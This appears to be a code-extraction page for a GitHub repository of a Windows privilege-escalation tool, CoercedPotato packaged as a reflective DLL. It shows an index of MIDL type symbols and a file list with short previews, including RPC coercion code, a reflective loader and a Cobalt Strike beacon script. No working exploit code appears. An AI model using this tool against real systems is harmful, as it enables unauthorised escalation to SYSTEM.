type __midl_frag884_t (line 6077) | typedef
type __midl_frag882_t (line 6092) | typedef
type __midl_frag879_t (line 6101) | typedef
type __midl_frag868_t (line 6118) | typedef
type __midl_frag867_t (line 6132) | typedef
type __midl_frag863_t (line 6137) | typedef
type __midl_frag861_t (line 6150) | typedef
type __midl_frag859_t (line 6158) | typedef
type __midl_frag857_t (line 6173) | typedef
type __midl_frag856_t (line 6181) | typedef
type __midl_frag855_t (line 6195) | typedef
type __midl_frag854_t (line 6200) | typedef
type __midl_frag851_t (line 6205) | typedef
type __midl_frag848_t (line 6217) | typedef
type __midl_frag846_t (line 6222) | typedef
type __midl_frag845_t (line 6227) | typedef
type __midl_frag836_t (line 6232) | typedef
type __midl_frag829_t (line 6251) | typedef
type __midl_frag821_t (line 6264) | typedef
type NDR64_FORMAT_CHAR (line 6278) | typedef
type __midl_frag818_t (line 6283) | typedef
type __midl_frag817_t (line 6293) | typedef
type __midl_frag816_t (line 6302) | typedef
type __midl_frag815_t (line 6307) | typedef
type __midl_frag813_t (line 6312) | typedef
type __midl_frag812_t (line 6317) | typedef
type __midl_frag811_t (line 6322) | typedef
type __midl_frag809_t (line 6327) | typedef
type __midl_frag808_t (line 6332) | typedef
type __midl_frag807_t (line 6348) | typedef
type __midl_frag799_t (line 6357) | typedef
type __midl_frag792_t (line 6371) | typedef
type __midl_frag789_t (line 6384) | typedef
type __midl_frag787_t (line 6392) | typedef
type __midl_frag785_t (line 6407) | typedef
type __midl_frag784_t (line 6416) | typedef
type __midl_frag783_t (line 6435) | typedef
type __midl_frag782_t (line 6450) | typedef
type __midl_frag777_t (line 6455) | typedef
type __midl_frag771_t (line 6463) | typedef
type __midl_frag768_t (line 6480) | typedef
type __midl_frag765_t (line 6485) | typedef
type __midl_frag762_t (line 6497) | typedef
type __midl_frag761_t (line 6506) | typedef
type __midl_frag760_t (line 6520) | typedef
type __midl_frag756_t (line 6525) | typedef
type __midl_frag754_t (line 6538) | typedef
type __midl_frag746_t (line 6543) | typedef
type __midl_frag744_t (line 6558) | typedef
type NDR64_FORMAT_CHAR (line 6566) | typedef
type __midl_frag741_t (line 6571) | typedef
type __midl_frag740_t (line 6580) | typedef
type __midl_frag739_t (line 6595) | typedef
type __midl_frag738_t (line 6600) | typedef
type NDR64_FORMAT_CHAR (line 6605) | typedef
type __midl_frag736_t (line 6610) | typedef
type __midl_frag735_t (line 6615) | typedef
type __midl_frag733_t (line 6620) | typedef
type __midl_frag730_t (line 6625) | typedef
type __midl_frag728_t (line 6640) | typedef
type __midl_frag727_t (line 6645) | typedef
type __midl_frag726_t (line 6650) | typedef
type __midl_frag724_t (line 6661) | typedef
type __midl_frag723_t (line 6666) | typedef
type __midl_frag717_t (line 6671) | typedef
type __midl_frag714_t (line 6685) | typedef
type __midl_frag710_t (line 6690) | typedef
type __midl_frag707_t (line 6695) | typedef
type __midl_frag697_t (line 6710) | typedef
type __midl_frag693_t (line 6725) | typedef
type __midl_frag691_t (line 6730) | typedef
type __midl_frag690_t (line 6740) | typedef
type __midl_frag689_t (line 6749) | typedef
type __midl_frag684_t (line 6754) | typedef
type __midl_frag676_t (line 6770) | typedef
type __midl_frag662_t (line 6784) | typedef
type NDR64_FORMAT_CHAR (line 6789) | typedef
type __midl_frag656_t (line 6794) | typedef
type __midl_frag655_t (line 6803) | typedef
type __midl_frag650_t (line 6808) | typedef
type __midl_frag646_t (line 6825) | typedef
type __midl_frag641_t (line 6830) | typedef
type __midl_frag640_t (line 6844) | typedef
type __midl_frag638_t (line 6853) | typedef
type __midl_frag637_t (line 6861) | typedef
type __midl_frag636_t (line 6866) | typedef
type __midl_frag633_t (line 6871) | typedef
type __midl_frag631_t (line 6883) | typedef
type __midl_frag627_t (line 6888) | typedef
type __midl_frag624_t (line 6901) | typedef
type __midl_frag620_t (line 6906) | typedef
type __midl_frag619_t (line 6914) | typedef
type __midl_frag618_t (line 6922) | typedef
type __midl_frag614_t (line 6933) | typedef
type __midl_frag613_t (line 6942) | typedef
type __midl_frag611_t (line 6951) | typedef
type __midl_frag610_t (line 6974) | typedef
type __midl_frag609_t (line 6983) | typedef
type __midl_frag608_t (line 6991) | typedef
type __midl_frag607_t (line 7006) | typedef
type __midl_frag606_t (line 7011) | typedef
type __midl_frag598_t (line 7019) | typedef
type __midl_frag596_t (line 7042) | typedef
type __midl_frag595_t (line 7050) | typedef
type __midl_frag594_t (line 7065) | typedef
type __midl_frag593_t (line 7070) | typedef
type __midl_frag585_t (line 7078) | typedef
type __midl_frag583_t (line 7098) | typedef
type __midl_frag582_t (line 7106) | typedef
type __midl_frag581_t (line 7121) | typedef
type __midl_frag580_t (line 7126) | typedef
type __midl_frag578_t (line 7134) | typedef
type __midl_frag577_t (line 7142) | typedef
type __midl_frag576_t (line 7157) | typedef
type __midl_frag574_t (line 7162) | typedef
type __midl_frag573_t (line 7176) | typedef
type __midl_frag572_t (line 7192) | typedef
type __midl_frag569_t (line 7197) | typedef
type __midl_frag567_t (line 7212) | typedef
type __midl_frag561_t (line 7222) | typedef
type __midl_frag554_t (line 7241) | typedef
type __midl_frag553_t (line 7249) | typedef
type __midl_frag552_t (line 7254) | typedef
type __midl_frag545_t (line 7259) | typedef
type __midl_frag538_t (line 7274) | typedef
type __midl_frag537_t (line 7282) | typedef
type __midl_frag536_t (line 7287) | typedef
type __midl_frag535_t (line 7300) | typedef
type __midl_frag532_t (line 7310) | typedef
type __midl_frag531_t (line 7318) | typedef
type __midl_frag530_t (line 7333) | typedef
type __midl_frag526_t (line 7338) | typedef
type __midl_frag523_t (line 7354) | typedef
type __midl_frag522_t (line 7359) | typedef
type __midl_frag479_t (line 7364) | typedef
type __midl_frag478_t (line 7369) | typedef
type __midl_frag477_t (line 7374) | typedef
type __midl_frag476_t (line 7379) | typedef
type __midl_frag475_t (line 7384) | typedef
type __midl_frag474_t (line 7389) | typedef
type __midl_frag473_t (line 7394) | typedef
type __midl_frag472_t (line 7399) | typedef
type __midl_frag471_t (line 7404) | typedef
type __midl_frag470_t (line 7413) | typedef
type __midl_frag469_t (line 7474) | typedef
type __midl_frag465_t (line 7479) | typedef
type __midl_frag463_t (line 7493) | typedef
type __midl_frag376_t (line 7501) | typedef
type __midl_frag373_t (line 7516) | typedef
type __midl_frag370_t (line 7531) | typedef
type __midl_frag368_t (line 7546) | typedef
type __midl_frag366_t (line 7554) | typedef
type __midl_frag362_t (line 7564) | typedef
type __midl_frag356_t (line 7594) | typedef
type __midl_frag354_t (line 7621) | typedef
type __midl_frag351_t (line 7630) | typedef
type __midl_frag349_t (line 7650) | typedef
type __midl_frag347_t (line 7658) | typedef
type __midl_frag343_t (line 7673) | typedef
type NDR64_FORMAT_CHAR (line 7678) | typedef
type __midl_frag341_t (line 7683) | typedef
type __midl_frag340_t (line 7688) | typedef
type __midl_frag339_t (line 7693) | typedef
type __midl_frag336_t (line 7706) | typedef
type __midl_frag331_t (line 7711) | typedef
type __midl_frag324_t (line 7724) | typedef
type __midl_frag313_t (line 7737) | typedef
type __midl_frag312_t (line 7742) | typedef
type __midl_frag311_t (line 7747) | typedef
type __midl_frag310_t (line 7752) | typedef
type __midl_frag308_t (line 7757) | typedef
type __midl_frag307_t (line 7762) | typedef
type __midl_frag306_t (line 7767) | typedef
type __midl_frag305_t (line 7772) | typedef
type __midl_frag303_t (line 7777) | typedef
type __midl_frag302_t (line 7786) | typedef
type __midl_frag301_t (line 7806) | typedef
type __midl_frag295_t (line 7811) | typedef
type __midl_frag281_t (line 7826) | typedef
type __midl_frag275_t (line 7831) | typedef
type __midl_frag270_t (line 7845) | typedef
type __midl_frag268_t (line 7850) | typedef
type __midl_frag267_t (line 7858) | typedef
type __midl_frag266_t (line 7867) | typedef
type __midl_frag265_t (line 7875) | typedef
type __midl_frag264_t (line 7890) | typedef
type __midl_frag263_t (line 7895) | typedef
type __midl_frag261_t (line 7903) | typedef
type __midl_frag260_t (line 7911) | typedef
type __midl_frag259_t (line 7926) | typedef
type __midl_frag258_t (line 7931) | typedef
type __midl_frag256_t (line 7939) | typedef
type __midl_frag255_t (line 7947) | typedef
type __midl_frag254_t (line 7962) | typedef
type __midl_frag253_t (line 7967) | typedef
type __midl_frag251_t (line 7975) | typedef
type __midl_frag250_t (line 7983) | typedef
type __midl_frag249_t (line 7998) | typedef
type __midl_frag248_t (line 8003) | typedef
type __midl_frag246_t (line 8011) | typedef
type __midl_frag245_t (line 8019) | typedef
type __midl_frag244_t (line 8034) | typedef
type __midl_frag243_t (line 8039) | typedef
type __midl_frag240_t (line 8047) | typedef
type __midl_frag239_t (line 8066) | typedef
type __midl_frag238_t (line 8081) | typedef
type __midl_frag236_t (line 8086) | typedef
type __midl_frag235_t (line 8102) | typedef
type __midl_frag234_t (line 8118) | typedef
type __midl_frag231_t (line 8123) | typedef
type __midl_frag227_t (line 8138) | typedef
type __midl_frag225_t (line 8151) | typedef
type __midl_frag224_t (line 8160) | typedef
type __midl_frag218_t (line 8169) | typedef
type __midl_frag216_t (line 8195) | typedef
type __midl_frag213_t (line 8204) | typedef
type __midl_frag211_t (line 8223) | typedef
type __midl_frag209_t (line 8231) | typedef
type __midl_frag205_t (line 8239) | typedef
type __midl_frag200_t (line 8254) | typedef
type __midl_frag198_t (line 8269) | typedef
type __midl_frag196_t (line 8281) | typedef
type __midl_frag195_t (line 8290) | typedef
type __midl_frag190_t (line 8299) | typedef
type __midl_frag188_t (line 8324) | typedef
type __midl_frag183_t (line 8335) | typedef
type __midl_frag178_t (line 8357) | typedef
type __midl_frag172_t (line 8373) | typedef
type __midl_frag171_t (line 8393) | typedef
type __midl_frag167_t (line 8398) | typedef
type __midl_frag159_t (line 8412) | typedef
type __midl_frag152_t (line 8425) | typedef
type __midl_frag147_t (line 8433) | typedef
type __midl_frag141_t (line 8457) | typedef
type __midl_frag140_t (line 8482) | typedef
type __midl_frag139_t (line 8497) | typedef
type __midl_frag138_t (line 8502) | typedef
type __midl_frag135_t (line 8510) | typedef
type __midl_frag131_t (line 8528) | typedef
type __midl_frag130_t (line 8549) | typedef
type __midl_frag129_t (line 8564) | typedef
type __midl_frag128_t (line 8569) | typedef
type __midl_frag124_t (line 8577) | typedef
type __midl_frag119_t (line 8598) | typedef
type __midl_frag118_t (line 8621) | typedef
type __midl_frag117_t (line 8636) | typedef
type __midl_frag116_t (line 8641) | typedef
type __midl_frag113_t (line 8649) | typedef
type __midl_frag109_t (line 8667) | typedef
type __midl_frag108_t (line 8688) | typedef
type __midl_frag107_t (line 8703) | typedef
type __midl_frag106_t (line 8708) | typedef
type __midl_frag101_t (line 8716) | typedef
type __midl_frag100_t (line 8735) | typedef
type __midl_frag99_t (line 8750) | typedef
type __midl_frag97_t (line 8755) | typedef
type __midl_frag96_t (line 8770) | typedef
type __midl_frag95_t (line 8786) | typedef
type __midl_frag88_t (line 8791) | typedef
type __midl_frag83_t (line 8808) | typedef
type __midl_frag81_t (line 8820) | typedef
type __midl_frag80_t (line 8825) | typedef
type __midl_frag78_t (line 8830) | typedef
type __midl_frag77_t (line 8842) | typedef
type __midl_frag72_t (line 8847) | typedef
type __midl_frag65_t (line 8861) | typedef
type __midl_frag64_t (line 8869) | typedef
type __midl_frag61_t (line 8878) | typedef
type __midl_frag59_t (line 8896) | typedef
type __midl_frag58_t (line 8904) | typedef
type __midl_frag57_t (line 8919) | typedef
type __midl_frag56_t (line 8924) | typedef
type __midl_frag53_t (line 8932) | typedef
type __midl_frag52_t (line 8941) | typedef
type __midl_frag51_t (line 8956) | typedef
type __midl_frag49_t (line 8961) | typedef
type __midl_frag48_t (line 8973) | typedef
type __midl_frag47_t (line 8989) | typedef
type __midl_frag40_t (line 8994) | typedef
type __midl_frag33_t (line 9011) | typedef
type __midl_frag29_t (line 9019) | typedef
type __midl_frag27_t (line 9039) | typedef
type __midl_frag26_t (line 9047) | typedef
type __midl_frag25_t (line 9062) | typedef
type __midl_frag17_t (line 9067) | typedef
type __midl_frag16_t (line 9079) | typedef
type __midl_frag15_t (line 9095) | typedef
type __midl_frag10_t (line 9100) | typedef
type __midl_frag9_t (line 9116) | typedef
type NDR64_FORMAT_UINT32 (line 9125) | typedef
Condensed preview — 33 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (6,946K chars).
[
{
"path": "Arguments.cpp",
"chars": 1571,
"preview": "// from https://github.com/praetorian-inc/PortBender/blob/main/src/PortBender/PortBender/Arguments.cpp\r\n// Copyright 202"
},
{
"path": "Arguments.h",
"chars": 912,
"preview": "/*\r\n * from https://github.com/praetorian-inc/PortBender/blob/main/src/PortBender/PortBender/Arguments.h\r\n * Copyright "
},
{
"path": "CoerceFunctions.cpp",
"chars": 16409,
"preview": "#include <iostream>\r\n#include <Windows.h>\r\n#include <functional>\r\n#include <rpc.h> \r\n#include <strsafe.h>\r\n\r\n#include \"l"
},
{
"path": "CoerceFunctions.h",
"chars": 1886,
"preview": "#pragma once\r\n#include <iostream>\r\n#include <Windows.h>\r\n#include <functional>\r\n#include <rpc.h> \r\n#include <strsafe.h>\r"
},
{
"path": "CoercedPotato.cpp",
"chars": 15744,
"preview": "#pragma once\r\n\r\n#include <iostream>\r\n#include <Windows.h>\r\n#include <sddl.h>\r\n#include <userenv.h>\r\n#include <thread>\r\n#"
},
{
"path": "CoercedPotato.sln",
"chars": 1826,
"preview": "\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 17\r\nVisualStudioVersion = 17.7.3"
},
{
"path": "CoercedPotato.vcxproj",
"chars": 10486,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/ms"
},
{
"path": "CoercedPotato.vcxproj.filters",
"chars": 2571,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbui"
},
{
"path": "CoercedPotato.vcxproj.user",
"chars": 166,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"Current\" xmlns=\"http://schemas.microsoft.com/developer/m"
},
{
"path": "IDL_FILES/ms-efsr.idl",
"chars": 13619,
"preview": "[\r\n\tuuid(df1941c5-fe89-4e79-bf10-463657acf44d),\r\n\t\tversion(1.0),\r\n]\r\ninterface efsrpc_through_pipe_efsrpc\r\n{\r\n\ttypedef p"
},
{
"path": "IDL_FILES/ms-even.idl",
"chars": 11492,
"preview": "[\r\n uuid(82273FDC-E32A-18C3-3F78-827929DC23EA),\r\n version(0.0),\r\n#ifdef __midl\r\n ms_union,\r\n#endif // _"
},
{
"path": "IDL_FILES/ms-par.idl",
"chars": 46497,
"preview": "[\r\n\tuuid(76f03f96-cdfd-44fc-a22c-64950a001209),\r\n\t\tversion(1.0),\r\n]\r\ninterface IRemoteWinspool\r\n{\r\n#define TABLE_DWORD "
},
{
"path": "IDL_FILES/ms-rprn.idl",
"chars": 45629,
"preview": "[\r\n\tuuid(12345678-1234-abcd-ef00-0123456789ab),\r\n\t\tversion(1.0),\r\n]\r\ninterface winspool\r\n{\r\n\ttypedef int BOOL, * PBOOL, "
},
{
"path": "IDL_FILES/ms-srvsvc.idl",
"chars": 52603,
"preview": "[\r\n uuid(4B324FC8-1670-01D3-1278-5A47BF6EE188),\r\n version(3.0),\r\n ms_union,\r\n pointer_default(un"
},
{
"path": "README.md",
"chars": 849,
"preview": "# Coerced Potato Reflective DLL\r\n\r\nPrivilege escalation from NT Service to SYSTEM using SeImpersonateToken privilege and"
},
{
"path": "ReflectiveDLLInjection.h",
"chars": 2776,
"preview": "//===============================================================================================//\r\n// Copyright (c) 20"
},
{
"path": "ReflectiveLoader.cpp",
"chars": 20166,
"preview": "//===============================================================================================//\r\n// Copyright (c) 20"
},
{
"path": "ReflectiveLoader.h",
"chars": 7087,
"preview": "//===============================================================================================//\r\n// Copyright (c) 20"
},
{
"path": "dist/coercedpotato.cna",
"chars": 535,
"preview": "beacon_command_register(\"CoercedPotato\", \"SeImpersonate Privilege Escalation\",\r\n \"Exploit Usage: CoercedPotato spawn C"
},
{
"path": "lib/ms-efsr_h.h",
"chars": 16470,
"preview": "/* this ALWAYS GENERATED file contains the definitions for the interfaces */\r\n\r\n\r\n /* File created by MIDL compiler vers"
},
{
"path": "lib/ms-even_h.h",
"chars": 11459,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\r\n\r\n\r\n /* File created by MIDL compiler "
},
{
"path": "lib/ms-par_h.h",
"chars": 25822,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\r\n\r\n\r\n /* File created by MIDL compiler "
},
{
"path": "lib/ms-rprn_h.h",
"chars": 37371,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\r\n\r\n\r\n /* File created by MIDL compiler "
},
{
"path": "lib/ms-srvsvc_h.h",
"chars": 56345,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\r\n\r\n\r\n /* File created by MIDL compiler "
},
{
"path": "rpc_interfaces/ms-efsr_c.c",
"chars": 406935,
"preview": "/* this ALWAYS GENERATED file contains the RPC client stubs */\r\n\r\n\r\n /* File created by MIDL compiler version 8.01.0628 "
},
{
"path": "rpc_interfaces/ms-even_c.c",
"chars": 271012,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the RPC client stubs */\r\n\r\n\r\n /* File created by MIDL compiler version 8.01.0"
},
{
"path": "rpc_interfaces/ms-even_s.c",
"chars": 255355,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the RPC server stubs */\r\n\r\n\r\n /* File created by MIDL compiler version 8.01.0"
},
{
"path": "rpc_interfaces/ms-par_c.c",
"chars": 978718,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the RPC client stubs */\r\n\r\n\r\n /* File created by MIDL compiler version 8.01.0"
},
{
"path": "rpc_interfaces/ms-par_s.c",
"chars": 935432,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the RPC server stubs */\r\n\r\n\r\n /* File created by MIDL compiler version 8.01.0"
},
{
"path": "rpc_interfaces/ms-rprn_c.c",
"chars": 905031,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the RPC client stubs */\r\n\r\n\r\n /* File created by MIDL compiler version 8.01.0"
},
{
"path": "rpc_interfaces/ms-rprn_s.c",
"chars": 858618,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the RPC server stubs */\r\n\r\n\r\n /* File created by MIDL compiler version 8.01.0"
},
{
"path": "rpc_interfaces/ms-srvsvc_c.c",
"chars": 685883,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the RPC client stubs */\r\n\r\n\r\n /* File created by MIDL compiler version 8.01.0"
},
{
"path": "rpc_interfaces/ms-srvsvc_s.c",
"chars": 660149,
"preview": "\r\n\r\n/* this ALWAYS GENERATED file contains the RPC server stubs */\r\n\r\n\r\n /* File created by MIDL compiler version 8.01.0"
}
]
About this extraction
This page contains the full source code of the sokaRepo/CoercedPotatoRDLL GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 33 files (6.1 MB), approximately 1.6M tokens, and a symbol index with 3597 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.